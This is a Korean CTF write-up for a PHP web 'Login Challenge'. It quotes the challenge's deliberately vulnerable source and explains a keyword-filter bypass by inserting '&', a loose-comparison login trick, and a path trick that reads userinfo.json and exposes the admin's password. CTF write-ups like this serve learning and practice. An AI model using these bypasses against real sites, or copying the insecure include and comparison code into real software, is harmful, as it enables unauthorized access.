1.Login Challenge
이 문제를 새벽 1시 29분에 풀었는데, 상당히 힘들었던 부분이 많은것같다.
우선 내가 아는 것이 별로 없기에 처음에 게싱을 잘 못한것 같고, 힌트 2가 나오자마자 제대로 풀리기 시작하면서 결국 풀었다.
우선 base64로 인코딩한 쿼리를 POST로 보내면서, GET 쿼리에 debug가 있으면 각 쿼리에 따라 debug information을 주석처리해서 페이지에 담아준다. 만약 base64(login)을 보내면
이렇게 뜨는데 힌트2에 index.php 일부분이 공개되었다.
https://gist.github.com/debukuk/f4edc592eaf2b89ab4377a9c7fe8724d
$input = urldecode($input);
$input = base64_decode($input);
if (preg_match('/index|functions|config/i', $input)) $input = '';
$input = str_replace('=', '', $input);
$input = str_replace('&', '', $input);
$input = explode("//", $input);
$page = $input[0];
$type = $input[1];
define("USER", html_escape($input[2]));
define("PASS", html_escape($input[3]));
unset($input); // unset variable
$data = custom_read($page, $type);
그 중 위와같은 코드를 통해 쿼리를 처리하는데, functions와 index를 필터링하는 것을 보아 저들의 php를 확인해봐야겠고, 보니까 =와 &를 없애주는데, 이를 이용해서 func&tions, ind&ex처럼 우회할 수 있다. base64(func&tions)와 base64(ind&ex)를 보내면
<?php
function custom_read($file, $type=0xdeadbeef, $dir='./', $ext='.php'){
$file = explode(DIRECTORY_SEPARATOR, $file.$ext);
switch($type){
case (string)1:
$file = basename($file[0]);
break;
default:
if (count($file) > 1) {
for($i=0; $i<count($file)-1; $i++) {
$dir .= $file[$i].DIRECTORY_SEPARATOR;
}
$file = $dir.$file[count($file)-1];
}else
$file = $file[0];
break;
}
ob_start();
include_once(dirname(__FILE__).DIRECTORY_SEPARATOR.$file);
$data = ob_get_contents();
ob_end_clean();
return [file_get_contents($file), $data];
}
function confirm_solvable(){
if ((int)($_SESSION[SUPER_USER.'_A'] + $_SESSION[SUPER_USER.'_B']) == 2) return true;
return false;
}
function alert($message="no one else..", $type="text/javascript"){
$message = addslashes($message);
die(sprintf("<script type='%s'>alert('%s');history.back();</script>", $type, $message));
}
function is_debug(){
if (isset($_GET['debug'])) return true;
return false;
}
function html_escape($input=''){ # similar to real parameter with general web-site
$input = htmlspecialchars($input);
$input = str_replace(array('"', "'"), array('"', "'"), $input);
if (is_debug() && preg_match('/Array/i', $input))
$input = str_replace('Array', '', $input);
$offset = stripos($input, 'Array');
if (strstr($input, 'Array'))
if (!$input[$offset + 5])
if ($offset - 1 == -1)
$input = [];
else
$input = substr($input, 0, $offset).[];
else
$input = substr($input, 0, $offset).[].substr($input, $offset + 5, strlen($input));
if (is_numeric($input)) $input = (int)$input;
return $input;
}
function a_solve(){
$_SESSION[SUPER_USER.'_A'] = true;
}
function b_solve(){
$_SESSION[SUPER_USER.'_B'] = true;
}
function verify_user($user=SUPER_USER){
$flag = 0;
if ($user[USER] === PASS) $flag = 1;
return $flag;
}
<?php
session_start(); // session needed
require(dirname(__FILE__).DIRECTORY_SEPARATOR."config.php");
require(dirname(__FILE__).DIRECTORY_SEPARATOR."functions.php");
define("MAIN_PAGE", true);
define("SUPER_USER", "panghoddari");
$input = file_get_contents('php://input');
$header = custom_read("header");
$footer = custom_read("footer");
$format = $header[1]."%s".$footer[1];
unset($header, $footer); // unset variables
$contents = '';
if ($input) {
$input = urldecode($input);
$input = base64_decode($input);
if (preg_match('/index|functions|config/i', $input)) $input = '';
$input = str_replace('=', '', $input);
$input = str_replace('&', '', $input);
$input = explode("//", $input);
$page = $input[0];
$type = $input[1];
define("USER", html_escape($input[2]));
define("PASS", html_escape($input[3]));
unset($input); // unset variable
$data = custom_read($page, $type);
if (is_debug() && $data)
$contents .= sprintf("<!--".PHP_EOL."- Debug Information: ".PHP_EOL."%s".PHP_EOL."-->", $data[0]);
$contents .= $data[1];
}else {
$data = custom_read("main");
$contents .= $data[1];
}
printf($format, $contents);
이렇게 뜬다.
<?php
$user = file_get_contents(dirname(__FILE__).DIRECTORY_SEPARATOR."userinfo.json");
$user = json_decode($user, true);
if (hash('sha256', PASS) != hash('sha256', null))
if ($user[USER] == PASS && USER !== PASS) {
$verify_user = verify_user($user);
if ($verify_user)
if (USER == SUPER_USER) {
printf("Welcome, <b style='font-size: 18pt;'>%s</b>!! I know you are the administrator of this site~", USER);
a_solve();
}else
printf("Welcome, <b>%s</b>! Now your mission is to login as the super user!", USER);
else if (USER != SUPER_USER)
printf("You have tried to login with account <b>%s</b>, but the credentials for yours was wrong!", USER);
else {
printf("Hello, Hacker?? How did you do it?!");
b_solve();
}
}else
printf("You have tried to login with account <b>%s</b>, but the credentials for yours was wrong!", USER);
?>
로그인하는 부분은 여긴데, 우선 solve_b를 먼저 푸는데, solve_b는 php trick을 이용해서 풀면 된다.
- SUPER_USER == "panghoddari" == USER
- PASS ≠ null
- $user[USER] == PASS
- USER ≠= PASS
위 4조건을 만족해야하는데, USER == panghoddari , PASS == 0을 넣어주면 "
~
" == 0 ⇒true 가되어 solve_b가 풀립니다. PASS가 숫자 0이되는 이유는 index.php에서 $input들을 html_escape()해주기 때문
이후 solve_a는 userinfo.json을 봐야하는데, 이는 custom_read를 우회해서 볼 수 있다.
custom_read는 확장자가 .php로 고정되어있고, /를 기준으로 explode한다음 type이 1이면 그 배열의 첫번째 값의 basename을 구한다.
$file = explode(DIRECTORY_SEPARATOR, $file.$ext);
switch($type){
case (string)1:
$file = basename($file[0]);
그래서 $file.$ext가 userinfo.json/php
가 되면 되고, 즉 $page가 userinfo.json/, $type이 1이어야하는데, 이는 base64(userinfo.json/ //1) 이런식으로 우회하면 성공한다.
{"panghoddari":"ezezpasswd~you_probably_dunno_the_passw0rd!_hahaha!","guest":"guest123"}
위와 같이 admin 계정을 얻었고, 이를 통해 solve_a 하였다!
나중에 panghoddari 님께 들어보니 solve_a 부분이 unintended solution이라고 하는데, 암튼 기분이 좋다!
'CTF Writeup' 카테고리의 다른 글
2020 Layer7 CTF - Layer7 VM pwn/rev Writeup (0) | 2020.11.19 |
---|---|
2020 Layer7 CTF - Mask Store Writeup (0) | 2020.11.19 |
사이버 작전경연대회 2020 예선 Classified Document Writeup (0) | 2020.09.13 |
2019 ROOT CTF Wripteup (0) | 2020.09.07 |
2020 Incognito CTF Writeup (0) | 2020.09.07 |